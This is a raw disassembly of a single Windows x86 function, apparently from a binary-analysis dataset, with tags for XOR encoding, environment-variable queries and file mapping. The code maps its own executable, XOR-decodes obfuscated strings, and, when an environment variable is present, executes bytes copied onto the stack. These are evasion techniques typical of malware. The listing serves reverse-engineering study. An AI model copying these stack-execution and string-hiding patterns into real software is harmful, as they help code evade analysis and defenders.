Function at 0x422e24
Capabilities:
Encode data using xor
Query environment variable
Read file via mapping

Disassembly:
push ebp
mov ecx, 0x41
mov ebp, esp
push edi
push esi
mov esi, eax
xor eax, eax
push ebx
lea ebx, [ebp - 0x11c]
mov edi, ebx
sub esp, 0x18c
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 0xc], 0x104
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.KERNEL32.dll_K32GetModuleFileNameExA
sub esp, 0x10
test eax, eax
jne 0x422ed2
mov byte [ebp - 0x11c], 0
mov ecx, 0xb
lea edi, [ebp - 0x15c]
mov dword [ebp - 0x15c], 0x776d6f3c
mov dword [ebp - 0x158], 0x72696324
mov dword [ebp - 0x154], 0x346d66
mov eax, ecx
mov esi, 0xb
xor edx, edx
div esi
xor byte [ebp + ecx - 0x167], dl
inc ecx
cmp ecx, 0x16
jne 0x422e98
mov dword [esp + 0xc], 0x103
mov dword [esp + 8], edi
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call dword [sym.imp.msvcrt.dll_strncpy_s]
jmp 0x4234f3
cmp eax, 0x103
jbe 0x422edd
mov byte [ebp - 0x19], 0
xor eax, eax
mov dword [esp], ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov ebx, eax
cmp eax, 0xffffffff
je 0x4234f3
xor ecx, ecx
xor edi, edi
mov dword [esp + 8], 0x1000002
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 4], edi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x16c], eax
sub esp, 0x18
test eax, eax
je 0x4234e9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4234e9
xor edx, edx
mov dword [esp + 4], 4
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], edx
mov dword [esp + 8], edx
mov eax, dword [ebp - 0x16c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x170], eax
sub esp, 0x14
test eax, eax
je 0x4234d9
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
lea edi, [ebp - 0x15c]
mov dword [ebp - 0x15c], eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x158], eax
xor eax, eax
mov dword [ebp - 0x154], eax
mov dword [esp + 4], edi
mov dword [esp], 0x426ac0
call fcn.004234fc
push eax
push eax
mov eax, dword [ebp - 0x170]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.00426840
mov esi, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x15c], eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x154], 1
mov dword [ebp - 0x158], eax
mov dword [esp + 4], edi
mov dword [esp], 0x426ac0
call fcn.004234fc
push eax
push eax
test esi, esi
je 0x4234c9
mov dword [ebp - 0x15c], 0xc1eb1542
mov dword [ebp - 0x158], 0x7c90ec48
mov byte [ebp - 0x154], 0x42
mov al, byte [0x4e74e8]
test al, al
jne 0x423087
mov dword [esp], 0x4e74e8
call fcn.004d5a00
test eax, eax
je 0x423087
mov dword [esp], edi
mov ecx, 0x4eacc0
call fcn.0043167c
push eax
mov dword [esp], 0x4d69e0
call fcn.004013f0
mov dword [esp], 0x4e74e8
call fcn.004d5ad0
mov ecx, 0x4eacc0
call fcn.0043164c
mov dword [esp], 0x4eacc0
call fcn.00424ea0
mov byte [ebp - 0x154], 0x42
mov dword [ebp - 0x15c], 0xc1eb1542
mov dword [ebp - 0x158], 0x7c90ec48
mov al, byte [0x4e74a0]
test al, al
jne 0x4230f7
mov dword [esp], 0x4e74a0
call fcn.004d5a00
test eax, eax
je 0x4230f7
mov dword [esp], edi
mov ecx, 0x4eac18
call fcn.0043167c
push eax
mov dword [esp], 0x4d69e4
call fcn.004013f0
mov dword [esp], 0x4e74a0
call fcn.004d5ad0
mov ecx, 0x4eac18
call fcn.0043164c
mov dword [esp], 0x4eac18
call fcn.00424ea0
mov byte [ebp - 0x154], 0x42
mov dword [ebp - 0x15c], 0xc1eb1542
mov dword [ebp - 0x158], 0x7c90ec48
mov al, byte [0x4e74b0]
test al, al
jne 0x423167
mov dword [esp], 0x4e74b0
call fcn.004d5a00
test eax, eax
je 0x423167
mov dword [esp], edi
mov ecx, 0x4eac30
call fcn.0043167c
push esi
mov dword [esp], 0x4d69e8
call fcn.004013f0
mov dword [esp], 0x4e74b0
call fcn.004d5ad0
mov ecx, 0x4eac30
call fcn.0043164c
mov dword [esp], 0x4eac30
call fcn.00424ea0
mov byte [ebp - 0x154], 0x42
mov dword [ebp - 0x15c], 0xc1eb1542
mov dword [ebp - 0x158], 0x7c90ec48
mov al, byte [0x4e74b8]
test al, al
jne 0x4231d7
mov dword [esp], 0x4e74b8
call fcn.004d5a00
test eax, eax
je 0x4231d7
mov dword [esp], edi
mov ecx, 0x4eac3c
call fcn.0043167c
push ecx
mov dword [esp], 0x4d69ec
call fcn.004013f0
mov dword [esp], 0x4e74b8
call fcn.004d5ad0
mov ecx, 0x4eac3c
call fcn.0043164c
mov dword [esp], 0x4eac3c
call fcn.00424ea0
mov byte [ebp - 0x154], 0x42
mov dword [ebp - 0x15c], 0xc1eb1542
mov dword [ebp - 0x158], 0x7c90ec48
mov al, byte [0x4e74c0]
test al, al
jne 0x423247
mov dword [esp], 0x4e74c0
call fcn.004d5a00
test eax, eax
je 0x423247
mov dword [esp], edi
mov ecx, 0x4eac48
call fcn.0043167c
push edx
mov dword [esp], 0x4d69f0
call fcn.004013f0
mov dword [esp], 0x4e74c0
call fcn.004d5ad0
mov ecx, 0x4eac48
call fcn.0043164c
mov dword [esp], 0x4eac48
call fcn.00424ea0
mov byte [ebp - 0x154], 0x42
mov dword [ebp - 0x15c], 0xc1eb1542
mov dword [ebp - 0x158], 0x7c90ec48
mov al, byte [0x4e74c8]
test al, al
jne 0x4232b7
mov dword [esp], 0x4e74c8
call fcn.004d5a00
test eax, eax
je 0x4232b7
mov dword [esp], edi
mov ecx, 0x4eac54
call fcn.0043167c
push eax
mov dword [esp], 0x4d69f4
call fcn.004013f0
mov dword [esp], 0x4e74c8
call fcn.004d5ad0
mov ecx, 0x4eac54
call fcn.0043164c
mov dword [esp], 0x4eac54
call fcn.00424ea0
mov byte [ebp - 0x154], 0x42
mov dword [ebp - 0x15c], 0xc1eb1542
mov dword [ebp - 0x158], 0x7c90ec48
mov al, byte [0x4e74d0]
test al, al
jne 0x423327
mov dword [esp], 0x4e74d0
call fcn.004d5a00
test eax, eax
je 0x423327
mov dword [esp], edi
mov ecx, 0x4eac60
call fcn.0043167c
push eax
mov dword [esp], 0x4d69f8
call fcn.004013f0
mov dword [esp], 0x4e74d0
call fcn.004d5ad0
mov ecx, 0x4eac60
call fcn.0043164c
mov dword [esp], 0x4eac60
call fcn.00424ea0
mov byte [ebp - 0x154], 0x42
mov dword [ebp - 0x15c], 0xc1eb1542
mov dword [ebp - 0x158], 0x7c90ec48
mov al, byte [0x4e74d8]
test al, al
jne 0x423397
mov dword [esp], 0x4e74d8
call fcn.004d5a00
test eax, eax
je 0x423397
mov dword [esp], edi
mov ecx, 0x4eac6c
call fcn.0043167c
push eax
mov dword [esp], 0x4d69fc
call fcn.004013f0
mov dword [esp], 0x4e74d8
call fcn.004d5ad0
mov ecx, 0x4eac6c
lea edi, [ebp - 0x15c]
mov esi, 0x4e7100
call fcn.0043164c
mov dword [esp], 0x4eac6c
call fcn.00424ea0
mov ecx, 0x3f
mov dword [ebp - 0x160], 0x399046a2
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x15c]
mov al, byte [0x4e74e0]
test al, al
jne 0x42340e
mov dword [esp], 0x4e74e0
call fcn.004d5a00
test eax, eax
je 0x42340e
mov dword [esp], esi
mov ecx, 0x4eac80
call fcn.00431614
push eax
mov dword [esp], 0x4d6a04
call fcn.004013f0
mov dword [esp], 0x4e74e0
call fcn.004d5ad0
mov ecx, 0x4eac80
call fcn.004315e4
mov dword [esp], 0x4eac80
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4234a0
lea eax, [ebp - 0x160]
call eax
mov byte [ebp - 0x154], 0x42
mov dword [ebp - 0x15c], 0xc1eb1542
mov dword [ebp - 0x158], 0x7c90ec48
mov al, byte [0x4e74a8]
test al, al
jne 0x42348a
mov dword [esp], 0x4e74a8
call fcn.004d5a00
test eax, eax
je 0x42348a
mov dword [esp], esi
mov ecx, 0x4eac24
call fcn.0043167c
push eax
mov dword [esp], 0x4d6a10
call fcn.004013f0
mov dword [esp], 0x4e74a8
call fcn.004d5ad0
mov ecx, 0x4eac24
call fcn.0043164c
mov dword [esp], 0x4eac24
call fcn.00424ea0
mov eax, dword [ebp - 0x170]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
mov eax, dword [ebp - 0x16c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp], eax
call esi
push edi
mov dword [esp], ebx
call esi
jmp 0x4234f2
mov eax, dword [ebp - 0x170]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ecx
mov eax, dword [ebp - 0x16c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret